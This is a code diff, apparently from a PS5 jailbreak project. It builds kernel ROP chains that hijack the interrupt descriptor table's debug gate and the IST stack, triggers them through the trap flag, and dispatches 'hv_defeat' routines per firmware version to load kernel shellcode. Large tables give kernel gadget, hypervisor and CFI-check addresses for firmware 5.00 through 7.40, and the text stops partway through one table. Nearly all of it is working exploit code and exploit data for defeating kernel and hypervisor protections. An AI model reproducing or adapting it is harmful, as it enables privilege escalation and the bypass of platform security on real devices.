||||
putq(img, KH_OFF_CHAIN_DISP + 0, kgadget(KERNEL_GADGET_POP_RSP));
|
||||
putq(img, KH_OFF_CHAIN_DISP + 8, big);
|
||||
|
||||
for (size_t i = 0; i < sizeof bigbuf; i++)
|
||||
bigbuf[i] = 0;
|
||||
|
||||
save_len = 0x58;
|
||||
handler_len = (handler && handler->len) ? handler->len : 0;
|
||||
restore_off = save_len + handler_len;
|
||||
slot_rdi = big + restore_off + 0x08;
|
||||
slot_rsi = big + restore_off + 0x18;
|
||||
slot_rdx = big + restore_off + 0x28;
|
||||
|
||||
off = 0;
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_MOV_RAX_RSI));
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
||||
off = putq(bigbuf, off, slot_rsi);
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_ST_RCX_RAX));
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
||||
off = putq(bigbuf, off, slot_rdx);
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_ST_RCX_RDX));
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_MOV_RAX_RDI));
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RCX));
|
||||
off = putq(bigbuf, off, slot_rdi);
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_ST_RCX_RAX));
|
||||
|
||||
if (handler_len) {
|
||||
for (size_t i = 0; i < handler_len; i++)
|
||||
bigbuf[off + i] = handler->buf[i];
|
||||
off += handler_len;
|
||||
}
|
||||
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RDI));
|
||||
off = putq(bigbuf, off, 0);
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RSI));
|
||||
off = putq(bigbuf, off, 0);
|
||||
off = putq(bigbuf, off, kgadget(KERNEL_GADGET_POP_RDX));
|
||||
off = putq(bigbuf, off, 0);
|
||||
|
||||
off = emit_resume_tail(kh, bigbuf, off, frame_base, rflags_slot, iret_tramp);
|
||||
if (off > sizeof bigbuf)
|
||||
return -6;
|
||||
if (kh->write(big, bigbuf, off) != 0)
|
||||
return -7;
|
||||
|
||||
if (kh->write(scratch, img, sizeof img) != 0)
|
||||
return -7;
|
||||
|
||||
if (kwrite_q(kh, ist, arm_chain) != 0)
|
||||
return -8;
|
||||
|
||||
gate_encode(kgadget(KERNEL_GADGET_PIVOT_ADD_RSP28_RET), kh->kcs, kh->ist_index,
|
||||
KH_GATE_INTERRUPT, 0, 1, &lo, &hi);
|
||||
if (kwrite_q(kh, db_gate + 8, hi) != 0)
|
||||
return -9;
|
||||
if (kwrite_q(kh, db_gate, lo) != 0)
|
||||
return -10;
|
||||
|
||||
if (kread_q(kh, ist) != arm_chain)
|
||||
return -13;
|
||||
if (kread_q(kh, db_gate) != lo || kread_q(kh, db_gate + 8) != hi)
|
||||
return -12;
|
||||
|
||||
kh->installed = 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void kh_trigger(khook_t *kh)
|
||||
{
|
||||
uint64_t resume_rsp, rbp_val;
|
||||
void *resume_label = &&resumed;
|
||||
|
||||
if (!kh || !kh->installed)
|
||||
return;
|
||||
|
||||
__asm__ volatile("mov %%rsp, %0" : "=r"(resume_rsp));
|
||||
__asm__ volatile("mov %%rbp, %0" : "=r"(rbp_val));
|
||||
|
||||
kwrite_q(kh, kh->scratch_base + KH_OFF_RESUME + KH_RC_RBP, rbp_val);
|
||||
kwrite_q(kh, kh->arm_rip_slot, (uint64_t)resume_label);
|
||||
kwrite_q(kh, kh->arm_rsp_slot, resume_rsp);
|
||||
|
||||
__asm__ volatile(
|
||||
"pushfq \n\t"
|
||||
"orq $0x100, (%%rsp)\n\t"
|
||||
"popfq \n\t"
|
||||
"nop \n\t"
|
||||
::: "memory", "cc");
|
||||
resumed:
|
||||
return;
|
||||
}
|
||||
|
||||
int kh_disarm(khook_t *kh)
|
||||
{
|
||||
uint8_t buf[0x60];
|
||||
uint64_t scratch, ist;
|
||||
size_t off;
|
||||
|
||||
if (!kh || !kh->installed)
|
||||
return -1;
|
||||
|
||||
scratch = kh->scratch_base;
|
||||
ist = ist_slot_va(kh);
|
||||
|
||||
for (unsigned i = 0; i < sizeof buf; i++)
|
||||
buf[i] = 0;
|
||||
|
||||
off = 0;
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_POP_RAX));
|
||||
off = putq(buf, off, 0);
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_SET_DR7));
|
||||
off = putq(buf, off, kgadget(KERNEL_GADGET_IRETQ));
|
||||
kh->arm_rip_slot = scratch + KH_OFF_CHAIN_ARM + off;
|
||||
off = putq(buf, off, 0);
|
||||
off = putq(buf, off, KH_USER_CS);
|
||||
off = putq(buf, off, KH_RFLAGS_USER);
|
||||
kh->arm_rsp_slot = scratch + KH_OFF_CHAIN_ARM + off;
|
||||
off = putq(buf, off, 0);
|
||||
off = putq(buf, off, KH_USER_SS);
|
||||
if (kh->write(scratch + KH_OFF_CHAIN_ARM, buf, off) != 0)
|
||||
return -2;
|
||||
|
||||
if (kwrite_q(kh, ist, scratch + KH_OFF_CHAIN_ARM) != 0)
|
||||
return -3;
|
||||
|
||||
kh_trigger(kh);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int kh_restore(khook_t *kh)
|
||||
{
|
||||
uint64_t db_gate, ist;
|
||||
|
||||
if (!kh || !kh->installed)
|
||||
return -1;
|
||||
|
||||
db_gate = kh->idt_base + 16 * KH_VEC_DB;
|
||||
ist = ist_slot_va(kh);
|
||||
|
||||
kwrite_q(kh, db_gate + 8, kh->saved_gate_hi);
|
||||
kwrite_q(kh, db_gate, kh->saved_gate_lo);
|
||||
kwrite_q(kh, ist, kh->saved_ist);
|
||||
kh->installed = 0;
|
||||
return 0;
|
||||
}
|
||||
+2
-1
@@ -69,7 +69,8 @@ long find_and_get_size_of_file(const char *filename, char *found_path) {
|
||||
snprintf(full_path, sizeof(full_path), "%s%s", file_paths[i], filename);
|
||||
|
||||
if (stat(full_path, &st) == 0) {
|
||||
notify("File '%s' found in '%s'\n", filename, file_paths[i]);
|
||||
notify("File '%s' found in '%s'\n", filename,
|
||||
file_paths[i]);
|
||||
strcpy(found_path, full_path);
|
||||
return st.st_size;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
#include "hv_defeat_0304.h"
|
||||
#include "hv_defeat_0506.h"
|
||||
#include "hv_defeat_0607.h"
|
||||
#include "hv_defeat_13xx.h"
|
||||
#include "loader.h"
|
||||
#include "prepare_resume.h"
|
||||
#include "utils.h"
|
||||
@@ -30,6 +32,12 @@ int main(void) {
|
||||
} else if ((0x0500 <= fw) && (fw < 0x0650)) {
|
||||
if (hv_defeat_0506(shellcode_kernel, shellcode_kernel_len))
|
||||
goto err;
|
||||
} else if ((0x0650 <= fw) && (fw < 0x0800)) {
|
||||
if (hv_defeat_0607(shellcode_kernel, shellcode_kernel_len))
|
||||
goto err;
|
||||
} else if (fw == 0x1300 || fw == 0x1320 || fw == 0x1360) {
|
||||
if (hv_defeat_13xx(shellcode_kernel, shellcode_kernel_len))
|
||||
goto err;
|
||||
} else {
|
||||
goto err;
|
||||
}
|
||||
|
||||
@@ -233,9 +233,13 @@ offset_list off_0500 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489E30 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b93d94 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff8044b06d - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8778 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a92b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8040dafc - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
.GAD_POP_RSP_RET = (0xffffffff804510b0 - KERNEL_TEXT),
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603c0a - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -271,9 +275,13 @@ offset_list off_0502 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489E30 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b93d94 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff8044b06d - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8778 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a92b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8054d532 - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
.GAD_POP_RSP_RET = (0xffffffff804510b0 - KERNEL_TEXT),
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603c0a - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -309,9 +317,13 @@ offset_list off_0510 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489E30 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b93fe4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff8044b06d - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8778 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a92b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8054d532 - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
.GAD_POP_RSP_RET = (0xffffffff804510b0 - KERNEL_TEXT),
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603c0a - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -347,9 +359,13 @@ offset_list off_0550 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489DF0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b94dd4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF8044B02D - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8738 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a9270 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8054d4f2 - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
.GAD_POP_RSP_RET = (0xffffffff80451070 - KERNEL_TEXT),
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603cba - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -385,10 +401,13 @@ offset_list off_0600 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ad4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff803f321e - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -424,10 +443,13 @@ offset_list off_0602 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ab4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff804c48da - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -447,3 +469,467 @@ offset_list off_0602 = {
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81665CC0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 494536,
|
||||
};
|
||||
|
||||
offset_list off_0650 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xffffffff83c04540 - KERNEL_TEXT),
|
||||
.IDT = (0xffffffff873cdde0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xffffffff873d0a00 - KERNEL_TEXT),
|
||||
// .STOPPED_CPUS not needed
|
||||
// .FUN_STOP_CPUS not needed
|
||||
// .FUN_AS_LAPIC_EOI not needed
|
||||
// .FUN_HV_UNMAP_PT_TMR not needed
|
||||
.FUN_MEMCPY = (0xffffffff804935b0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb7224 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff804547ed - KERNEL_TEXT),
|
||||
.GAD_POP_RAX_RET = (0xffffffff8040eb50 - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff80536a32 - KERNEL_TEXT),
|
||||
//.GAD_POP_RCX_RET = (0xffffffff8033ba53 - KERNEL_TEXT),
|
||||
.GAD_POP_RCX_RET = (0xffffffff804e68b8 - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff8061421a - KERNEL_TEXT),
|
||||
.GAD_WRMSR_RET = (0xffffffff80451e84 - KERNEL_TEXT),
|
||||
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xffffffff806d2610 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xffffffff80cd20e0 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xffffffff804bc370 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x62841D50,
|
||||
.KERNEL_UART_OVERRIDE = (0xffffffff822d25c8 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xffffffff80689a20 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xffffffff875dfa50 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xffffffff80dcb990 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xffffffff80be4190 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xffffffff80be2f10 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xffffffff81665b90 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 494536,
|
||||
};
|
||||
|
||||
offset_list off_0700 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83AC9C50 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF83CDFDF0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF83CE2AB0 - KERNEL_TEXT),
|
||||
// .STOPPED_CPUS not needed
|
||||
// .FUN_STOP_CPUS not needed
|
||||
// .FUN_AS_LAPIC_EOI not needed
|
||||
// .FUN_HV_UNMAP_PT_TMR not needed
|
||||
.FUN_MEMCPY = (0xFFFFFFFF804933C0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xFFFFFFFF80C431AF - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff804545cd - KERNEL_TEXT),
|
||||
.GAD_POP_RAX_RET = (0xffffffff8040e790 - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1b38 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2670 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff804da676 - KERNEL_TEXT),
|
||||
.GAD_POP_RCX_RET = (0xffffffff804e1fc1 - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a610 - KERNEL_TEXT),
|
||||
.GAD_WRMSR_RET = (0xffffffff80451ac4 - KERNEL_TEXT),
|
||||
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xFFFFFFFF806CC530 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CB5CB0 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804BB4C8 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6283D800,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822C3338 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xFFFFFFFF806854A0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xffffffff83ef7a40 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DAECC0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BCB5C0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xFFFFFFFF80BCA380 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81655400 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 497636,
|
||||
};
|
||||
|
||||
offset_list off_0701 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83AC9C50 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF83CDFDF0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF83CE2AB0 - KERNEL_TEXT),
|
||||
// .STOPPED_CPUS not needed
|
||||
// .FUN_STOP_CPUS not needed
|
||||
// .FUN_AS_LAPIC_EOI not needed
|
||||
// .FUN_HV_UNMAP_PT_TMR not needed
|
||||
.FUN_MEMCPY = (0xFFFFFFFF804933C0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xFFFFFFFF80C431AF - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff804545cd - KERNEL_TEXT),
|
||||
.GAD_POP_RAX_RET = (0xffffffff8040e790 - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1b38 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2670 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff805451e2 - KERNEL_TEXT),
|
||||
.GAD_POP_RCX_RET = (0xffffffff804e1fc1 - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a610 - KERNEL_TEXT),
|
||||
.GAD_WRMSR_RET = (0xffffffff80451ac4 - KERNEL_TEXT),
|
||||
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xFFFFFFFF806CC530 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CB5CB0 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804BA8F8 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6283D800,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822C3338 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xFFFFFFFF806854A0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xffffffff83ef7a40 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DAECC0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BCB5C0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xFFFFFFFF80BCA380 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81655400 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 497636,
|
||||
};
|
||||
|
||||
offset_list off_0720 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xffffffff83ac9c50 - KERNEL_TEXT),
|
||||
.IDT = (0xffffffff83cdfdf0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xffffffff83ce2ad0 - KERNEL_TEXT),
|
||||
// .STOPPED_CPUS not needed
|
||||
// .FUN_STOP_CPUS not needed
|
||||
// .FUN_AS_LAPIC_EOI not needed
|
||||
// .FUN_HV_UNMAP_PT_TMR not needed
|
||||
.FUN_MEMCPY = (0xffffffff80493600 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80c435ff - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff809c52e8 - KERNEL_TEXT),
|
||||
.GAD_POP_RAX_RET = (0xffffffff80e4c2d5 - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff80dfe38b - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff80dfdd9e - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff80a4fd38 - KERNEL_TEXT),
|
||||
.GAD_POP_RCX_RET = (0xffffffff80e24def - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff80e2b4c0 - KERNEL_TEXT),
|
||||
.GAD_WRMSR_RET = (0xffffffff80451d04 - KERNEL_TEXT),
|
||||
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xffffffff806cc830 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xffffffff80cb6100 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xffffffff804c0820 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6283D800,
|
||||
.KERNEL_UART_OVERRIDE = (0xffffffff822c33f8 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xffffffff806857a0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xffffffff83ef7a40 - KERNEL_TEXT),
|
||||
.FUN_TRANSMITTER_CONTROL = (0xffffffff80dafcc0 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xffffffff80bcba10 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xffffffff80bca7d0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xffffffff81655700 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 497636,
|
||||
};
|
||||
|
||||
offset_list off_0740 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83AC9C50 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF83CDFDF0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF83CE2AD0 - KERNEL_TEXT),
|
||||
// .STOPPED_CPUS not needed
|
||||
// .FUN_STOP_CPUS not needed
|
||||
// .FUN_AS_LAPIC_EOI not needed
|
||||
// .FUN_HV_UNMAP_PT_TMR not needed
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80493600 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80c435ff - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff8045480d - KERNEL_TEXT),
|
||||
.GAD_POP_RAX_RET = (0xffffffff8040e9d0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1d78 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b28b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff805cd53c - KERNEL_TEXT),
|
||||
.GAD_POP_RCX_RET = (0xffffffff80e24def - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a850 - KERNEL_TEXT),
|
||||
.GAD_WRMSR_RET = (0xffffffff80451d04 - KERNEL_TEXT),
|
||||
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xffffffff804b19f0 - KERNEL_TEXT),//0xffffffff806cc830
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xffffffff80cb6100 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xffffffff804badf0 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6283D800,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822C33F8 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xffffffff806857a0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xFFFFFFFF83EF7A40 - KERNEL_TEXT),
|
||||
